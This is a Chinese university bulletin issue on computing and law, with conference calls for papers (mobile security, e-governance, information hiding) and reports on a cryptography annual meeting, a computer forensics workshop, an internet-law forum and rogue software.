Underground and underwater networks Vehicular networks Wireless, mobile, ad-hoc, and sensor networks 相 关 链 接 : 年 第 二 届 移 动 和 安 全 服 务 国 际 会 议 会 议 名 称 ( 中 文 ): 2016 年 第 二 届 移 动 和 安 全 服 务 国 际 会 议 会 议 名 称 ( 英 文 ): 2016 Second International Conference on Mobile and Secure Services (MobiSecServ) 所 属 学 科 : 信 息 安 全, 通 信 技 术 开 始 日 期 : 结 束 日 期 : 所 在 国 家 : 美 国 具 体 地 点 : Gainesville, FL, USA 主 办 单 位 : University of Florida, Gainesville [ 会 务 组 联 系 方 式 ] 联 系 人 : Selwyn Piramuthu Selwyn.Piramuthu@warrington.ufl.edu

29 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 会 议 网 站 : 会 议 背 景 介 绍 : The goal of the "Conference on Mobile Applications, Security, and Services" is to explore the challenges, issues and opportunities both for academic researchers and industrial innovators. We are looking for both research papers on new applications and presentations of deployment experiments or new business opportunities. In an always-on context, mobile applications (as an illustration in 2013, more tablets were sold than laptops) are more and more interacting with sensitive or personal resources hosted in cloud computing infrastructures; as a consequence, security and trust are critical issues. Among other, the NFC technology enables communication in close proximity. Today, one million NFC smartphones are sold every week. With NFC mobiles surfacing the market so quickly, mobile operating systems are prepared for support with dedicated frameworks. This offers researchers and developers a great opportunity for getting quick traction with novel applications. So far, the main NFC-enabled services deal with payment, access control, or ticketing. Commercial applications today mainly target contactless payments, i.e., ewallets or etickets managed by transportation companies. The broad availability of NFC-technology fertilizes research and development of novel applications and can go well beyond these intended applications. This conference aims to bring researchers and industrial experts together to discuss the latest frontiers of mobile technology and also novel applications that have not been thought of before. 征 文 范 围 及 要 求 : The workshop welcomes contributions addressing (but not limited to) the following topics: Proximity communication technologies for mobile (NFC, Low Power Bluetooth, ), secure transactions over proximity communications; Trust for mobile applications and services, Secure Elements, SIM frameworks; SecureSD platforms; Single Wire Protocol (SWP); Trusted Service Manager (TSM); Secure over the air (OTA) services; New mobile secure architectures. Host Card Emulation (HCE). Trusted Execution Environment (TEE). New services and business perspectives New payment applications; Apple Pay Services; secure tokenisation technologies; proximity communication for access control; automotive industry perspectives; applications for the consumer industry; applications for smart cities; Internet Of Things (IoT) new perspectives; Mobile Applications for Social Networks. Deployment experiments and testing Payments, transport, ticketing, access control, couponing, macro localization (Tags). 相 关 链 接 : 第 九 届 电 子 治 理 理 论 与 实 践 国 际 会 议 会 议 名 称 ( 中 文 ): 第 九 届 电 子 治 理 理 论 与 实 践 国 际 会 议 会 议 名 称 ( 英 文 ): 9th International Conference on Theory and Practice of Electronic Governance 所 属 学 科 : 计 算 机 应 用 技 术, 管 理 科 学 与 工 程, 公 共 政 策 开 始 日 期 :

30 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 结 束 日 期 : 所 在 国 家 : 土 耳 其 具 体 地 点 : Hammamet, Tunisia 主 办 单 位 : Agency for Electronic Government and Information Society (AGESIC) United Nations University Operating Unit on Policy-Driven Electronic Governance (UNU-EGOV) 联 系 电 话 : icegov@icegov.org 会 议 网 站 : 会 议 背 景 介 绍 : The International Conference on Theory and Practice of Electronic Governance (ICEGOV) series focuses on the use of technology to transform relationships between government and citizens, businesses, civil society and other arms of government (Electronic Governance). The Series looks beyond the traditional focus on technology-enabled transformation in government (Electronic Government), towards establishing foundations for good governance and for sustainable national development. 征 文 范 围 及 要 求 : Papers can be submitted to six different tracks: 1. Open Data for Development 2. Citizen Empowerment and Inclusion 3. Ethics, Accountability, Transparency and Values 4. Context-Specific Electronic Governance and Policy Coherence 5. Social Innovation and Transformation 6. Institutional Effectiveness and Responsiveness Thematic Sessions Papers can be submitted to three different thematic sessions: 1. Intelligent Information Systems for Government 2. EGOV and the Tourism Sector 3. EGOV for Security and Urban Resilience 相 关 链 接 : 多 媒 体 信 息 安 全 学 术 大 会 会 议 名 称 ( 中 文 ): 2016 多 媒 体 信 息 安 全 学 术 大 会 会 议 名 称 ( 英 文 ): 所 属 学 科 : 计 算 机 网 络, 信 息 安 全, 信 号 与 信 息 处 理 开 始 日 期 : 所 在 国 家 : 中 华 人 民 共 和 国 所 在 城 市 : 安 徽 省 合 肥 市 主 办 单 位 : 中 国 电 子 学 会 通 信 学 分 会 北 京 电 子 技 术 应 用 研 究 所 承 办 单 位 : 中 国 科 学 技 术 大 学 北 京 电 子 技 术 应 用 研 究 所 [ 组 织 结 构 ] 会 议 主 席 : 苏 振 明 中 国 电 子 学 会 尤 新 刚 中 国 电 子 学 会 朱 长 飞 中 国 科 学 技 术 大 学 [ 重 要 日 期 ] 全 文 截 稿 日 期 : [ 会 务 组 联 系 方 式 ] 联 系 人 : 张 卫 明

31 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 联 系 电 话 : cihw2016ustc@163.com 会 议 网 站 : 会 议 背 景 介 绍 : 互 联 网 的 发 展 电 子 政 务 电 子 商 务 的 普 及, 对 信 息 的 安 全 存 储 安 全 传 输 及 安 全 访 问 提 出 了 新 的 挑 战 信 息 隐 藏 作 为 保 障 信 息 安 全 的 新 技 术, 吸 引 了 国 内 外 众 多 学 者, 已 成 为 国 内 外 倍 受 关 注 的 研 究 热 点 全 国 信 息 隐 藏 会 议 旨 在 为 该 领 域 的 研 究 人 员 提 供 一 个 交 流 新 思 想 新 方 法 新 技 术 的 学 术 平 台 十 二 届 会 议 的 成 功 举 行 推 动 了 我 国 信 息 隐 藏 研 究 的 发 展 第 十 三 届 全 国 信 息 隐 藏 学 术 大 会 (CIHW2016) 将 于 2016 年 10 月 在 中 国 科 学 技 术 大 学 召 开 大 会 将 特 邀 著 名 专 家 学 者 做 学 术 报 告, 诚 邀 从 事 信 息 安 全 与 应 用 的 有 关 单 位 和 人 员 参 会, 欢 迎 从 事 信 息 隐 藏 及 相 关 研 究 人 员 投 稿 优 秀 论 文 将 推 荐 到 应 用 科 学 学 报 中 国 科 学 技 术 大 学 学 报 等 期 刊 ( 更 新 中 ) 发 表 征 文 范 围 及 要 求 : ) 征 文 范 围 ( 不 局 限 于 此 范 围 ) l 信 息 隐 藏 理 论 与 模 型 ; l 隐 密 术 与 隐 密 分 析 ; l 数 字 水 印 与 数 字 版 权 管 理 ; l 数 字 水 印 技 术 与 防 伪 ; l 非 常 规 载 体 信 息 隐 藏 ; l 数 字 取 证 ; l 软 件 保 护 ; l 多 媒 体 数 据 检 索 及 认 证 ; l 无 线 通 信 安 全 ; l 数 据 传 输 安 全 ; l 信 息 内 容 安 全 ; l 加 密 域 信 号 处 理 ; l 云 计 算 中 多 媒 体 安 全 ; l 大 数 据 安 全 隐 私 保 护 ; l 密 码 学 相 关 链 接 : 学 术 活 动 评 述 中 国 密 码 学 会 2015 年 会 在 上 海 成 功 召 开 日 期 : :56 稿 件 来 源 : 中 国 密 码 学 会 2015 年 10 月 日, 由 中 国 密 码 学 会 主 办 上 海 交 通 大 学 承 办 的 中 国 密 码 学 会 2015 年 会 (ChinaCrypt 2015) 在 上 海 成 功 召 开 中 国 工 程 院 蔡 吉 人 院 士, 上 海 市 密 码 管 理 局 王 晓 岗 副 局 长, 上 海 交 通 大 学 张 安 胜 副 校 长 电 院 苏 跃 增 书 记, 中 国 密 码 学 会 裴 定 一 理 事 长 冯 登 国 副 理 事 长 徐 茂 智 副 理 事 长 于 艳 萍 秘 书 长 等 领 导 和 嘉 宾 出 席 年 会 来 自 全 国 100 多 家 高 等 院 校 科 研 院 所 企 业 单 位 等 的 专 家 学 者 在 校 师 生 行 业 精 英 工 程 技 术 人 员 800 余 人 参 加 了 会 议 10 月 23 日 上 午 8:30, 大 会 在 上 海 光 大 会 展 中 心 国 际 大 酒 店 隆 重 开 幕 开 幕 式 由 本 次 年 会 程 序 委 员 会 主 席 上 海 交 通 大 学 谷 大 武 教 授 主 持, 张 安 胜 副 校 长 和 王 晓 岗 副 局 长 分 别 致 辞,

32 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 谷 大 武 教 授 代 表 程 序 委 员 会 和 组 织 委 员 会 向 大 会 介 绍 了 此 次 年 会 的 论 文 征 集 评 审 接 收 特 邀 报 告 邀 请 议 程 安 排 和 组 织 筹 备 等 情 况 开 幕 式 上 还 举 行 了 2015 年 中 国 密 码 学 会 奖 颁 奖 仪 式 仪 式 由 于 艳 萍 秘 书 长 主 持, 她 介 绍 了 奖 项 推 荐 评 选 情 况, 并 宣 读 了 奖 励 决 定 裴 定 一 荣 获 中 国 密 码 学 会 杰 出 贡 献 奖 ; 郁 昱 田 甜 屈 龙 江 和 王 双 荣 获 国 密 码 学 会 优 秀 青 年 奖 ; 航 天 信 息 股 份 有 限 公 司 和 中 国 密 码 学 会 密 码 数 学 理 论 专 业 委 员 会 荣 获 中 国 密 码 学 会 先 进 集 体 奖 ; 王 美 琴 和 李 子 臣 荣 获 中 国 密 码 学 会 先 进 工 作 者 ; 文 华 英 孙 银 霞 苏 璞 睿 林 雪 焰 高 能 丁 勇 李 忠 献 林 昌 露 田 景 成 和 杨 亚 涛 荣 获 中 国 密 码 学 会 优 秀 会 员 奖 蔡 吉 人 院 士 裴 定 一 理 事 长 冯 登 国 和 徐 茂 智 副 理 事 长 分 别 向 上 述 获 奖 者 颁 发 了 奖 杯 和 证 书 本 次 年 会 紧 密 围 绕 对 称 密 码 公 钥 密 码 序 列 密 码 量 子 密 码 密 码 协 议 密 码 系 统 安 全 密 码 电 路 安 全 等 主 题, 安 排 了 9 个 特 邀 报 告 和 19 个 论 文 报 告 9 位 特 邀 报 告 人 及 其 报 告 题 目 分 别 是 : 国 际 标 准 算 法 AES 和 SHA-3 的 设 计 者 比 利 时 ST 微 电 子 公 司 Joan Daemen 博 士 Sponge-based authenticated encryption ; 比 利 时 法 语 鲁 汶 大 学 (UCL ) François-Xavier Standaert 教 授 Side-Channel Attacks: Theory & (Good) Practice(s) ; 新 加 坡 南 洋 理 工 大 学 Hongjun Wu 教 授 Recent Developments in Authenticated Encryption ; 中 国 科 学 技 术 大 学 韩 正 甫 教 授 量 子 信 息 密 码 学 ; 中 科 院 信 息 工 程 研 究 所 荆 继 武 研 究 员 新 时 代 信 息 安 全 中 的 密 码 技 术 ; 西 南 交 通 大 学 唐 小 虎 教 授 旋 转 对 称 Bent 函 数 研 究 ; 复 旦 大 学 赵 运 磊 教 授 SSL/TLS: 历 史 现 状 及 展 望 ; 暨 南 大 学 翁 健 教 授 CCA-Secure Keyed-Fully Homomorphic Encryption ; 上 海 交 通 大 学 王 磊 特 别 研 究 员 消 息 认 证 码 的 安 全 分 析 程 序 委 员 会 委 员 冯 登 国 荆 继 武 徐 茂 智 戚 文 峰 林 东 岱 韩 正 甫 来 学 嘉 陈 克 非 刘 胜 利 李 超 吴 文 玲 曹 珍 富 徐 秋 亮 等 分 别 主 持 了 报 告 报 告 内 容 收 录 在 由 大 会 程 序 委 员 会 主 席 谷 大 武 和 来 学 嘉 教 授 编 撰 的 密 码 学 进 展 中 国 密 码 学 会 2015 年 会 论 文 集 为 了 展 示 密 码 学 领 域 的 最 新 成 果 学 术 热 点 学 术 动 态 及 发 展 趋 势, 促 进 密 码 学 术 界 和 产 业 界 的 交 流 与 合 作, 本 次 年 会 还 安 排 了 自 由 论 坛 及 技 术 论 坛 自 由 论 坛 由 西 华 大 学 何 明 星 教 授 主 持,20 位 代 表 进 行 了 讨 论 发 言, 西 南 交 通 大 学 何 大 可 教 授 围 绕 当 前 网 络 空 间 安 全 学 科 建 设 的 热 点 问 题, 做 了 开 课 : 如 何 给 网 络 空 间 ( 安 全 ) 下 定 义? 的 精 彩 发 言 技 术 论 坛 由 中 国 科 学 院 信 息 工 程 研 究 所 李 宝 研 究 员 和 中 山 大 学 张 方 国 教 授 主 持, 论 坛 的 6 个 技 术 报 告 从 多 个 领 域 展 现 了 密 码 应 用 的 关 键 技 术, 吸 引 了 参 会 代 表 的 广 泛 兴 趣 和 关 注, 其 中 上 海 交 通 大 学 张 媛 媛 博 士 针 对 当 前 系 统 软 件 和 应 用 软 件 中 密 码 算 法 和 协 议 的 实 现 问 题, 做 了 密 码 系 统 代 码 实 现 的 误 用 现 状 分 析 及 其 对 策 的 专 题 介 绍 会 议 期 间 由 程 序 委 员 会 部 分 专 家 对 大 会 论 文 报 告 进 行 了 认 真 评 审, 最 终 确 定 王 安 任 燕 婷 的 论 文 基 于 硬 件 电 路 路 径 差 异 的 故 障 攻 击 探 究 和 王 灿 孙 仕 海 等 的 论 文 缺 陷 光 源 下 参 考 系 无 关 量 子 密 钥 分 发 入 选 大 会 优 秀 论 文, 裴 定 一 理 事 长 向 优 秀 论 文 获 得 者 代 表 颁 发 了 证 书 本 次 年 会 是 我 国 密 码 学 发 展 史 上 的 又 一 次 盛 会, 大 会 专 家 云 集 规 模 空 前, 影 响 巨 大 关 注 度 高, 充 分 展 现 了 我 国 密 码 事 业 的 蓬 勃 发 展 与 良 好 的 学 术 传 承 当 前, 以 密 码 学 为 核 心 的 网 络 空 间 安 全 日 益 得 到 世 界 各 国 的 重 视, 已 经 成 为 国 家 安 全 国 防 安 全 和 国 计 民 生 安 全 不 可 或 缺 的 科 技 支 撑 习 近 平 总 书 记 曾 深 刻 指 出, 没 有 网 络 安 全, 就 没 有 国 家 安 全 在 我 国 大 力 提 倡 大 数 据 云 计 算 物 联 网 和 移 动 互 联 网 的 广 泛 应 用 形 势 下, 作 为 网 络 安 全 的 理 论 基 础 和 重 要 技 术 支 撑, 密 码 学 将 会 发 挥 越 来 越 重 要, 越 来 越 核 心 的 作 用 也 正 是 在 这 样 的 背 景 下, 中 国 密 码 学 会 学 术 年 会 的 召 开 将 凸 显 出 其 极 为 重 要 的 理 论 与 现 实 意 义 相 信 会 为 密 码 学 的 创 新 发 展 提 供 新 的 思 想 和 动 力, 为 下 一 阶 段 推 动 我 国 密 码 学 术 发 展 产 生 强 大 的 推 动 作 用

33 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 本 次 年 会 得 到 了 上 海 华 虹 集 成 电 路 有 限 公 司 北 京 智 芯 微 电 子 科 技 有 限 公 司 北 京 数 盾 信 息 科 技 有 限 公 司 信 息 保 障 技 术 重 点 实 验 室 上 海 交 通 大 学 密 码 安 全 团 队 中 国 计 算 机 学 会 上 海 分 部 上 海 市 信 息 安 全 行 业 协 会 等 单 位 的 大 力 支 持 大 会 同 时 决 定 中 国 密 码 学 会 2016 年 会 将 于 杭 州 举 办, 由 杭 州 电 子 科 技 大 学 承 办 相 关 链 接 : 第 五 届 全 国 计 算 机 取 证 技 术 研 讨 会 在 中 央 财 经 大 学 举 办 [ 来 源 ]: 中 央 财 经 大 学 信 息 学 院 11 月 21 日 -22 日, 第 五 届 全 国 计 算 机 取 证 技 术 研 讨 会 在 我 校 学 院 南 路 校 区 举 办 本 次 研 讨 会 由 中 国 电 子 学 会 计 算 机 取 证 专 家 委 员 会 主 办, 我 校 信 息 学 院 承 办, 计 算 机 科 学 编 辑 部 信 息 网 络 安 全 编 辑 部 警 察 技 术 编 辑 部 公 安 部 第 一 研 究 所 公 安 部 第 三 研 究 所 中 国 政 法 大 学 电 子 证 据 研 究 中 心 等 单 位 提 供 支 持, 厦 门 市 美 亚 柏 科 信 息 股 份 有 限 公 司 北 京 实 数 科 技 有 限 公 司 北 京 天 宇 宁 科 科 技 有 限 公 司 上 海 勋 立 信 息 科 技 有 限 公 司 等 企 业 提 供 赞 助 本 次 研 讨 会 邀 请 到 来 自 公 安 部 十 一 局 公 安 部 第 一 研 究 所 中 国 科 学 院 高 雄 师 范 大 学 国 家 信 息 中 心 等 多 位 专 家 到 会 做 精 彩 报 告 计 算 机 取 证 专 家 委 员 会 的 多 位 委 员, 来 自 全 国 各 地 的 计 算 机 取 证 专 家 学 者, 及 我 校 信 息 学 院 的 部 分 师 生 共 计 100 余 人 参 加 了 此 次 研 讨 会 开 幕 式 由 信 息 学 院 院 长 朱 建 明 教 授 主 持 开 幕 式 上, 首 先 由 公 安 部 网 络 安 全 保 卫 局 总 工 程 师 郭 启 全 致 辞 他 指 出, 随 着 互 联 网 + 思 维 的 提 出, 互 联 网 + 犯 罪 的 情 况 日 益 增 加, 明 确 电 子 取 证 作 为 打 击 犯 罪 维 护 网 络 安 全 政 权 安 全 和 社 会 公 共 安 全 的 基 础, 有 着 至 关 重 要 的 作 用, 电 子 取 证 学 科 的 研 究 有 着 重 大 的 意 义 随 后, 公 安 部 一 所 副 所 长 于 锐 向 大 家 介 绍 了 公 安 研 究 所 的 历 史 及 在 电 子 取 证 方 面 做 出 的 成 果 取 证 专 家 委 员 会 顾 问 中 国 科 学 院 高 能 物 理 研 究 所 首 席 研 究 员 许 榕 生 先 生 发 言, 指 出 电 子 取 证 行 业 是 一 个 有 极 大 发 展 需 求 的 行 业, 高 校 研 究 院 应 积 极 支 持 并 参 与 进 来 大 会 报 告 环 节, 取 证 专 家 委 员 会 主 任 委 员 中 国 科 学 院 软 件 研 究 所 研 究 院 博 士 生 导 师 丁 丽 萍 研 究 员 做 了 关 于 电 子 取 证 一 个 越 来 越 被 关 注 的 研 究 领 域 的 报 告 ; 高 雄 师 范 大 学 杨 中 皇 教 授 做 了 题 目 为 移 动 取 证 软 件 的 设 计 与 实 践 的 报 告 ; 国 家 信 息 中 心 信 息 安 全 研 究 与 服 务 中 心 副 主 任 叶 红 女 士 做 了 题 为 互 联 网 时 代 的 电 子 数 据 保 全 与 鉴 定 的 报 告 ; 我 校 信 息 学 院 院 长 朱 建 明 教 授 做 了 题 为 电 子 支 付 取 证 方 法 研 究 的 报 告 21 日 下 午, 大 会 进 行 论 文 宣 讲 环 节 本 次 研 讨 会 投 稿 论 文 作 者 与 参 会 的 学 者 代 表 及 师 生 进 行 了 深 入 的 探 讨 和 交 流 22 日 上 午, 中 国 科 学 院 翟 起 滨 研 究 员 中 国 人 民 大 学 刘 品 新 教 授 南 京 邮 电 大 学 孙 国 梓 教 授 上 海 势 炎 信 息 科 技 有 限 公 司 总 经 理 尹 文 基 北 京 天 宇 宁 科 技 有 限 公 司 CEO 郭 永 健 美 亚 柏 科 第 二 研 究 院 计 算 机 取 证 研 发 中 心 副 总 监 吴 少 华 分 别 做 了 精 彩 报 告 随 后, 大 会 评 选 出 了 优 秀 论 文 优 秀 志 愿 者 优 秀 组 织 者 至 此, 大 会 顺 利 闭 幕 此 次 计 算 机 取 证 技 术 研 讨 会 的 举 办, 汇 聚 了 来 自 全 国 取 证 行 业 的 专 家 学 者 企 业, 他 们 针 对 现 有 技 术 和 未 来 发 展 进 行 了 交 流, 碰 撞 思 想, 为 电 子 取 证 研 究 创 造 更 加 积 极 的 学 术 环 境 我 校 自 2012 年 设 立 信 息 安 全 专 业 以 来, 将 金 融 信 息 安 全 信 息 安 全 审 计 与 取 证 作 为 重 要 的 研 究 方 向 本 次 大 会 的 召 开, 对 于 进 一 步 促 进 我 校 信 息 安 全 学 科 和 专 业 建 设 具 有 重 要 的 意 义 相 关 链 接 :

34 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 第 二 届 法 治 中 国 湘 江 论 坛 在 湖 南 省 长 沙 市 举 行 2015 年 11 月 18 日 07:06:50 来 源 : 人 民 法 院 报 2015 年 10 月 31 日, 第 二 届 法 治 中 国 湘 江 论 坛 在 湖 南 省 长 沙 市 举 行, 论 坛 由 中 国 行 为 法 学 会 和 中 南 大 学 共 同 主 办, 中 南 大 学 法 学 院 承 办 学 术 界 和 实 务 界 的 百 余 名 专 家 学 者 围 绕 互 联 网 时 代 的 法 治 中 国 建 设 研 究 这 一 主 题 展 开 了 广 泛 而 深 入 的 探 讨 中 国 行 为 法 学 会 会 长 江 必 新 在 书 面 致 辞 中 指 出, 全 力 推 进 互 联 网 时 代 的 法 治 中 国 建 设, 是 把 互 联 网 的 发 明 成 果 与 法 治 建 设 各 领 域 深 度 融 合 的 实 际 行 动, 是 形 成 更 广 泛 的 以 互 联 网 为 基 础 和 创 新 要 素 的 现 代 国 家 治 理 的 重 要 举 措, 是 主 动 适 应 和 引 领 国 家 治 理 新 常 态 形 成 国 家 治 理 的 必 然 要 求 全 力 推 进 互 联 网 时 代 的 法 治 中 国 建 设, 需 要 处 理 好 立 法 民 主 化 与 立 法 科 学 化 制 定 互 联 网 时 代 特 有 法 律 规 范 与 修 改 完 善 传 统 法 律 规 范 建 设 法 治 政 府 与 积 极 利 用 互 联 网 建 设 透 明 政 府 利 用 信 息 和 数 据 技 术 建 设 廉 洁 政 府 与 高 效 政 府 依 法 独 立 行 使 司 法 权 与 加 强 司 法 公 开 司 法 便 民 互 联 网 领 域 监 管 监 控 与 合 作 治 理 信 息 社 会 与 公 民 社 会 信 息 公 开 与 信 息 保 护 主 动 推 进 法 治 建 设 与 被 动 应 对 法 治 诉 求 法 治 建 设 与 民 主 建 设 等 十 大 关 系 论 坛 分 五 个 主 题 研 讨 单 元 第 一 单 元 围 绕 互 联 网 时 代 的 法 治 国 家 建 设 主 题 展 开 与 会 专 家 认 为, 互 联 网 不 仅 改 变 了 我 们 的 生 存 方 式 商 业 行 为 和 娱 乐 方 式, 还 改 变 了 并 在 继 续 改 变 着 我 们 实 践 法 律 的 方 式 和 我 们 所 实 践 的 法 律 法 律 服 务 于 产 业 的 需 要, 立 法 行 政 与 司 法 均 要 与 互 联 网 产 业 发 展 阶 段 相 适 用 法 学 界 要 为 互 联 网 的 应 用 和 规 制 提 供 理 论 依 据 和 立 法 建 议, 要 研 究 如 何 在 互 联 网 条 件 下 保 障 国 家 安 全 和 个 人 信 息 与 财 产 的 安 全 法 学 的 研 究 方 法 必 须 与 大 数 据 云 计 算 物 联 网 等 研 究 方 法 相 结 合 国 家 对 互 联 网 的 监 管 和 治 理 需 要 协 调 好 国 内 互 联 网 治 理 规 则 与 国 际 规 则 之 间 的 关 系 互 联 网 技 术 标 准 与 法 律 标 准 之 间 的 关 系 中 国 应 当 积 极 参 与 互 联 网 国 际 规 则 的 谈 判 与 制 定, 并 不 断 完 善 国 内 互 联 网 监 管 法 律 体 系, 在 兼 顾 互 联 网 的 开 放 与 国 家 安 全 和 主 权 中 找 到 真 正 适 合 中 国 发 展 道 路 的 方 法 第 二 单 元 围 绕 互 联 网 时 代 的 法 治 政 府 建 设 主 题 展 开 专 家 们 主 要 探 讨 了 网 络 治 理 网 络 舆 情 引 导 两 方 面 问 题 网 络 治 理 方 面, 政 府 应 当 以 诚 信 参 与 效 率 为 基 础, 转 变 政 府 治 理 理 念 以 适 应 互 联 网 时 代 发 展 的 需 求 在 网 络 舆 情 引 导 方 面, 政 府 要 不 断 提 升 其 对 网 络 舆 情 的 处 置 能 力, 减 少 网 络 舆 情 对 行 政 的 过 度 干 预 与 不 当 影 响, 要 构 建 法 定 的 网 络 舆 情 引 导 机 制, 不 断 完 善 信 息 公 开 和 公 众 参 与 等 配 套 制 度, 保 障 和 规 范 公 民 通 过 网 络 充 分 行 使 监 督 权 一 方 面, 互 联 网 为 公 民 参 与 并 监 督 各 种 政 治 和 社 会 活 动 提 供 了 简 便 快 捷 的 表 达 方 式 与 交 流 平 台, 为 公 民 更 好 地 行 使 参 与 国 家 事 务 管 理 的 权 利 提 供 了 前 提 和 基 础, 确 保 了 公 权 力 在 阳 光 下 运 行, 改 进 了 政 府 管 理 模 式 另 一 方 面, 如 果 政 府 以 非 正 当 动 机 确 立 目 标 设 计 制 度 指 导 行 动, 公 民 也 可 通 过 互 联 网 实 现 目 的 揭 露 群 体 召 集 和 多 元 共 识 行 动, 从 而 促 进 政 府 改 善 治 理, 达 成 善 治 第 三 单 元 和 第 四 单 元 围 绕 互 联 网 时 代 的 法 治 社 会 建 设 以 及 网 络 社 会 的 法 律 治 理 主 题 展 开 专 家 们 认 为, 互 联 网 时 代 的 法 治 社 会 建 设 与 网 络 社 会 的 法 律 治 理 实 为 法 律 应 当 如 何 因 应 网 络 对 现 实 社 会 的 冲 击 问 题, 即 法 律 应 当 如 何 应 对 因 互 联 网 而 出 现 的 新 的 社 会 现 象 与 新 的 社 会 问 题 网 络 社 会 关 系 只 不 过 是 现 实 社 会 关 系 的 缩 影, 网 络 社 会 的 治 理 最 终 仍 然 要 回 归 到 现 实 社 会 互 联 网 因 其 开 放 性 虚 拟 性 快 捷 性 匿 名 性 特 点 而 极 易 被 人 利 用 因 互 联 网 渠 道 而 泄 漏 的 个 人 信 息 需 要 得 到 保 护, 利 用 网 络 进 行 不 正 当 竞 争 的 商 业 行 为 需 要 得 到 规 制, 利 用 网 络 进 行 信 息 挟 持 网 络 攻 击 需 要 得 到 管 制, 利 用 网 络 平 台 进 行 的 金 融 借 贷 行 为 需 要 得 到 监 管 以 上 种 种 现 象 表 明 : 网 络 治 理 过 程 中 无 论 是 政 府 监 管 或 行 业 自 律 或 社 会 自 治, 都 应 当 在 法 治 化 的 基 本 轨 道 上 运 行, 以 法 治 化 保 障 多 元 价 值 目 标 的 平 衡 实 现 多 元 主 体 的 有 序 参 与 以 及 多 种 路 径 的 协 调 作 用, 促 进 网 络 社 会 的 健 康 有 序 发 展, 防 止 基 于 权 力 市 场 优 势 技 术 优 势 及 多 数 人 意 志 而 产 生 肆 意 和 武 断

35 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 第 五 单 元 围 绕 互 联 网 时 代 司 法 制 度 的 发 展 主 题 展 开 与 会 专 家 指 出, 互 联 网 改 变 了 公 共 行 政 方 式, 也 不 可 避 免 地 对 司 法 制 度 产 生 影 响 电 子 商 务 的 发 展 促 成 了 新 型 网 上 纠 纷 解 决 机 制 的 产 生 网 上 纠 纷 解 决 机 制 有 利 于 实 现 案 件 分 流, 减 轻 法 院 的 压 力, 节 约 司 法 资 源 我 国 引 入 网 上 纠 纷 解 决 机 制, 有 必 要 加 强 引 导 规 范 监 管 投 入, 实 现 其 与 我 国 矛 盾 纠 纷 多 元 化 解 机 制 的 有 效 衔 接, 重 点 实 现 观 念 制 度 机 制 保 障 的 衔 接 要 按 照 互 联 网 + 要 求, 推 动 我 国 矛 盾 纠 纷 多 元 化 解 机 制 的 完 善, 着 重 建 立 健 全 电 子 调 解 电 子 仲 裁 电 子 复 议 电 子 司 法 电 子 信 访 等 体 制 机 制 中 南 大 学 法 学 院 院 长 陈 云 良 教 授 在 作 论 坛 总 结 时 提 出, 互 联 网 法 治 的 形 成 和 发 展, 极 大 地 丰 富 和 改 变 了 中 国 特 色 社 会 主 义 法 律 体 系 和 法 治 体 系 内 容, 对 法 治 国 家 法 治 政 府 法 治 社 会 建 设 提 出 了 新 的 挑 战, 也 带 来 了 新 的 机 遇 总 体 来 说, 机 遇 大 于 挑 战 因 互 联 网 而 产 生 的 社 会 问 题 需 要 得 到 法 律 规 制, 因 互 联 网 而 变 化 的 社 会 关 系 需 要 得 到 法 律 调 整, 因 互 联 网 而 变 迁 的 社 会 秩 序 需 要 得 到 法 律 维 护, 因 互 联 网 而 转 变 的 治 理 理 念 需 要 得 到 法 律 认 可 基 于 此, 可 以 得 出 一 个 结 论 : 即 互 联 网 治 理 需 要 法 律 保 驾 护 航, 互 联 网 法 治 化 是 法 治 中 国 建 设 的 题 中 之 义 相 关 链 接 : 国 内 外 法 律 法 规 国 内 法 律 选 登 关 于 促 进 网 络 服 务 交 易 健 康 发 展 规 范 网 络 服 务 交 易 行 为 的 意 见 ( 全 文 ) 相 关 链 接 : 国 外 法 律 选 登 英 国 年 计 算 机 滥 用 法 全 文 : b8bd708c1&classcode=200;250;360 聚 焦 流 氓 软 件 流 氓 软 件 泛 滥 成 灾 该 怎 么 治? :19 网 易 核 心 提 示 : 记 者 调 查 发 现, 流 氓 软 件 肆 虐 背 后, 是 一 条 渐 成 产 业 的 灰 色 利 益 链 条 据 了 解, 一 款 捆 绑 五 款 软 件 的 流 氓 软 件 半 年 获 利 达 数 百 万 元, 而 大 量 因 此 遭 受 损 失 的 手 机 和 电 脑 用 户, 维 权 困 难 重 重 新 京 报 载 : 今 年 7 月 底, 工 信 部 发 布 2015 年 第 二 季 度 电 信 服 务 质 量 通 告 显 示, 在 对 40 余 家 手 机 应 用 商 店 应 用 软 件 进 行 的 技 术 检 测 中, 共 发 现 有 80 款 应 用 软 件 存 在 问 题, 其 中 大 部 分 软 件 是 流 氓 软 件 记 者 调 查 发 现, 流 氓 软 件 肆 虐 背 后, 是 一 条 渐 成 产 业 的 灰 色 利 益 链 条 据 了 解, 一 款 捆 绑 五 款 软 件 的 流 氓 软 件 半 年 获 利 达 数 百 万 元, 而 大 量 因 此 遭 受 损 失 的 手 机 和 电 脑 用 户, 维 权 困 难 重 重 法 律 必 当 强 力 卸 载 斯 涵 涵 ( 职 员 ): 由 于 恶 意 软 件 及 恶 意 程 序 推 广 的 法 律 风 险 比 较 低, 且 易 获 暴 利, 直 接 破 坏 了 健 康 的 互 联 网 生 态 无 奈 的 是, 这 类 推 广 方 式, 即 使 网 络 安 全 从 业 人 员, 也 很 难 监 测 到

